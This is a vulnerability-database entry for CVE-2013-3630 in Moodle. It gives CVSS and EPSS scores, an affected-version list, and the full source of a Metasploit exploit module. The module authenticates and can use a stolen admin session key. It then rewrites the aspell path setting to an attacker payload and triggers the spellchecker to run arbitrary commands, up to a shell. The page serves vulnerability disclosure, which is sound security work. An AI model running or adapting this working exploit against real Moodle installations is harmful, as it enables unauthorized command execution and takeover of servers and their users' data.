Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
4.6 |
|
AV:N/AC:H/Au:S/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 29324
Publication date : 2013-10-30 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Moodle Remote Command Execution',
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3630'],
['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
], self.class)
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'password' => datastore["PASSWORD"]
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login/index.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 303
fail_with("Login failed")
end
sess = login.get_cookies
print_status("Getting session key to update spellchecker if no session key was specified")
sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
'cookie' => sess
})
tinymce.body.each_line do |line|
next if line !~ /name="sesskey"/
sesskey = line[0..line.index('>')]
end
if sesskey == ''
fail_with("Unable to get proper session key")
end
sesskey = REXML::Document.new sesskey
sesskey = sesskey.root.attributes["value"]
else
sesskey = datastore['SESSKEY']
end
post = {
'section' => 'editorsettingstinymce',
'sesskey' => sesskey,
'return' => '',
's_editor_tinymce_spellengine' => 'PSpellShell',
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
}
print_status("Updating spellchecker to use the system aspell")
post = {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
}
aspell = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
'vars_post' => post,
'cookie' => sess
})
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status("Triggering payload")
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'cookie' => sess
})
if !resp or resp.code != 200
fail_with("Error triggering payload")
end
end
end
Products Mentioned
Configuraton 0
Moodle>>Moodle >> Version To (including) 2.5.2
Moodle>>Moodle >> Version 1.1.1
Moodle>>Moodle >> Version 1.2.0
Moodle>>Moodle >> Version 1.2.1
Moodle>>Moodle >> Version 1.3.0
Moodle>>Moodle >> Version 1.3.1
Moodle>>Moodle >> Version 1.3.2
Moodle>>Moodle >> Version 1.3.3
Moodle>>Moodle >> Version 1.3.4
Moodle>>Moodle >> Version 1.4.1
Moodle>>Moodle >> Version 1.4.2
Moodle>>Moodle >> Version 1.4.3
Moodle>>Moodle >> Version 1.4.4
Moodle>>Moodle >> Version 1.4.5
Moodle>>Moodle >> Version 1.5
Moodle>>Moodle >> Version 1.5.0
Moodle>>Moodle >> Version 1.5.1
Moodle>>Moodle >> Version 1.5.2
Moodle>>Moodle >> Version 1.5.3
Moodle>>Moodle >> Version 1.6.0
Moodle>>Moodle >> Version 1.6.1
Moodle>>Moodle >> Version 1.6.2
Moodle>>Moodle >> Version 1.6.3
Moodle>>Moodle >> Version 1.6.4
Moodle>>Moodle >> Version 1.6.5
Moodle>>Moodle >> Version 1.6.6
Moodle>>Moodle >> Version 1.6.7
Moodle>>Moodle >> Version 1.6.8
Moodle>>Moodle >> Version 1.7.1
Moodle>>Moodle >> Version 1.7.2
Moodle>>Moodle >> Version 1.7.3
Moodle>>Moodle >> Version 1.7.4
Moodle>>Moodle >> Version 1.7.5
Moodle>>Moodle >> Version 1.7.6
Moodle>>Moodle >> Version 1.8.1
Moodle>>Moodle >> Version 1.8.2
Moodle>>Moodle >> Version 1.8.3
Moodle>>Moodle >> Version 1.8.4
Moodle>>Moodle >> Version 1.8.5
Moodle>>Moodle >> Version 1.8.6
Moodle>>Moodle >> Version 1.8.7
Moodle>>Moodle >> Version 1.8.8
Moodle>>Moodle >> Version 1.8.9
Moodle>>Moodle >> Version 1.8.10
Moodle>>Moodle >> Version 1.8.11
Moodle>>Moodle >> Version 1.8.12
Moodle>>Moodle >> Version 1.8.13
Moodle>>Moodle >> Version 1.8.14
Moodle>>Moodle >> Version 1.9.1
Moodle>>Moodle >> Version 1.9.2
Moodle>>Moodle >> Version 1.9.3
Moodle>>Moodle >> Version 1.9.4
Moodle>>Moodle >> Version 1.9.5
Moodle>>Moodle >> Version 1.9.6
Moodle>>Moodle >> Version 1.9.7
Moodle>>Moodle >> Version 1.9.8
Moodle>>Moodle >> Version 1.9.9
Moodle>>Moodle >> Version 1.9.10
Moodle>>Moodle >> Version 1.9.11
Moodle>>Moodle >> Version 1.9.12
Moodle>>Moodle >> Version 1.9.13
Moodle>>Moodle >> Version 1.9.14
Moodle>>Moodle >> Version 1.9.15
Moodle>>Moodle >> Version 1.9.16
Moodle>>Moodle >> Version 1.9.17
Moodle>>Moodle >> Version 1.9.18
Moodle>>Moodle >> Version 2.0.0
Moodle>>Moodle >> Version 2.0.1
Moodle>>Moodle >> Version 2.0.2
Moodle>>Moodle >> Version 2.0.3
Moodle>>Moodle >> Version 2.0.4
Moodle>>Moodle >> Version 2.0.5
Moodle>>Moodle >> Version 2.0.6
Moodle>>Moodle >> Version 2.0.7
Moodle>>Moodle >> Version 2.0.8
Moodle>>Moodle >> Version 2.0.9
Moodle>>Moodle >> Version 2.1.0
Moodle>>Moodle >> Version 2.1.1
Moodle>>Moodle >> Version 2.1.2
Moodle>>Moodle >> Version 2.1.3
Moodle>>Moodle >> Version 2.1.4
Moodle>>Moodle >> Version 2.1.5
Moodle>>Moodle >> Version 2.1.6
Moodle>>Moodle >> Version 2.1.7
Moodle>>Moodle >> Version 2.1.8
Moodle>>Moodle >> Version 2.1.9
Moodle>>Moodle >> Version 2.1.10
Moodle>>Moodle >> Version 2.2.0
Moodle>>Moodle >> Version 2.2.1
Moodle>>Moodle >> Version 2.2.2
Moodle>>Moodle >> Version 2.2.3
Moodle>>Moodle >> Version 2.2.4
Moodle>>Moodle >> Version 2.2.5
Moodle>>Moodle >> Version 2.2.6
Moodle>>Moodle >> Version 2.2.7
Moodle>>Moodle >> Version 2.2.8
Moodle>>Moodle >> Version 2.2.9
Moodle>>Moodle >> Version 2.2.10
Moodle>>Moodle >> Version 2.2.11
Moodle>>Moodle >> Version 2.3.0
Moodle>>Moodle >> Version 2.3.1
Moodle>>Moodle >> Version 2.3.2
Moodle>>Moodle >> Version 2.3.3
Moodle>>Moodle >> Version 2.3.4
Moodle>>Moodle >> Version 2.3.5
Moodle>>Moodle >> Version 2.3.6
Moodle>>Moodle >> Version 2.3.7
Moodle>>Moodle >> Version 2.3.8
Moodle>>Moodle >> Version 2.4.0
Moodle>>Moodle >> Version 2.4.1
Moodle>>Moodle >> Version 2.4.2
Moodle>>Moodle >> Version 2.4.3
Moodle>>Moodle >> Version 2.4.4
Moodle>>Moodle >> Version 2.4.5
Moodle>>Moodle >> Version 2.5.0
Moodle>>Moodle >> Version 2.5.1
References